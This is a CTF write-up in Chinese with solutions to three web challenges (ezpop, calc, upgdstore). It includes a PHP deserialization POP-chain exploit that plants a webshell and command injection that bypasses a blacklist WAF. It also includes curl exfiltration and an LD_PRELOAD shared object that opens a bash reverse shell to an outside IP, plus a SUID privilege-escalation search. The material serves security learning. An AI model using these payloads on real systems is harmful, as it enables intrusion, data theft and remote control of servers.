ezpop
源码如下
<?php
class crow
{
public $v1;
public $v2;
function eval() {
echo new $this->v1($this->v2);
}
public function __invoke()
{
$this->v1->world();
}
}
class fin
{
public $f1;
public function __destruct()
{
echo $this->f1 . '114514';
}
public function run()
{
($this->f1)();
}
public function __call($a, $b)
{
echo $this->f1->get_flag();
}
}
class what
{
public $a;
public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1;
public function run()
{
($this->m1)();
}
public function get_flag()
{
eval('#' . $this->m1);
}
}
if (isset($_POST['cmd'])) {
unserialize($_POST['cmd']);
} else {
highlight_file(__FILE__);
}
简单分析一下
fin{->f1(__destruct)}->what{->a(__toString)}->fin{->f1(run)}->crow{->v1(__invoke)}->fin{->f1(__call)}->mix{->m1(getflag)}
pop链很简单,需要注意这里
public function get_flag()
{
eval('#' . $this->m1);
}
绕过#就能进行上马了
直接exp
<?php
class crow
{
public $v1;
function __construct(){
$this->v1= new fin();
$this->v1->f1=new mix();
}
}
class fin
{
public $f1;
}
class what
{
public $a;
function __construct(){
$this->a= new fin();
$this->a->f1=new crow();
}
}
class mix
{
public $m1;
function __construct(){
$this->m1='?><?php @eval($_POST[m1]); ?>';
}
}
$a=new fin();
$a->f1=new what();
echo serialize($a);
然后在/var/www/html/H0mvz850F.php中找到flag
calc
题目给了附件,里面是源码
主要代码是这一段
@app.route("/calc", methods=['GET'])
def calc():
ip = request.remote_addr
num = request.values.get("num")
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip, num)
if waf(num):
try:
data = eval(num)
os.system(log)
except:
pass
return str(data)
else:
return "waf!!"
打开环境,源码中发现这段代码
提交的时候会请求/calc路由并提交num参数
题目切入点有两个
eval/os.system
然后参数经过过滤,看一下waf
def waf(s):
blacklist = ['import','(',')',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']
然后发现过滤很多东西,但是没有过滤反引号
发现报错,这里是因为eval函数中执行反引号会报错
所以想方法绕过反引号,直接#注释掉就行,然后空格被过滤用Tab键代替
发现成功绕过,但是不确定os.system执行成功没,因为我们不能直接访问到文件,所以这里就用数据外带来看看
/calc?num=123%23`ls%09/`
/calc?num=123%23`curl%09-X%09GET%09-F%09m1=@tmp/log.txt%09http://121.41.59.127:3003/`
然后_过滤掉了,直接通配符就行
/calc?num=123%23`tac%09/T*`
/calc?num=123%23`curl%09-X%09GET%09-F%09m1=@tmp/log.txt%09http://121.41.59.127:3003/`
upgdstore
先随便写了个phpinfo()
然后访问,发现disable_function了很多函数
利用 include+php伪协议+ld_preload绕过
参考链接:https://f1or.cn/index.php/2022/04/01/ld_preload%e5%ad%a6%e4%b9%a0/
然后想直接写马,发现不行,应该是有正则过滤
那就直接base编码
PD9waHAgQGV2YWwoJF9QT1NUWyJtMSJdKTs/Pg==
然后再文件包含它,之类include也会上传不了,但是大小写绕过就行
PHP的大小写敏感可以总结写“变量敏感,函数不敏感”,所有变量、常量、PHP.ini中配置参数都是敏感的,而函数、类、类中的方法、魔术常量,都是不区分大小写的
<?php Include(base64_decode('cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT1mM2I5NGU4OGJkMWJkMzI1YWY2ZjYyODI4Yzg3ODVkZC5waHA='));?>
本地能通,但是由于蚁剑连接会使用一些奇奇怪怪的函数,没有连上蚁剑
但是还是可以通过ld_preload来绕过
所以来生成so文件
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("bash -c 'exec bash -i &>/dev/tcp/121.41.59.127/3003 <&1'");
}
int geteuid()
{
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
然后通过构造表单上传
<html>
<body>
<form action="http://5dbae67d-7e95-4902-94f8-b71df750b18e.node4.buuoj.cn:81/uploads/f3b94e88bd1bd325af6f62828c8785dd.php?m1=move_uploaded_file($_FILES['file']['tmp_name'],'exp.so');" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="uploads">
</form>
</body>
</html>
然后进行查看一下上传成功没
成功,现在只需要监听端口
接下来就是修改环境变量然后调用mail函数(记得监听端口)
m1=putenv("LD_PRELOAD=/var/www/html/uploads/exp.so");mail("","","","","");
发现cat读不了,权限不够
suid提权看看
find / -user root -perm -4000 -print 2>/dev/null
发现nl命令有权限,直接用就好
补充
有位师傅是通过内置类SplFileObject::fwrite 写文件然后使用GCONV_PATH与iconv进行bypass disable_functions,又学到了新东西,太牛了
参考文章:https://blog.csdn.net/qq_53263789/article/details/123842691
声明:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担! 本网站采用BY-NC-SA协议进行授权!转载请注明文章来源! 图片失效请留言通知博主及时更改!
python的反引号能执行系统命令的吗?
可以的哟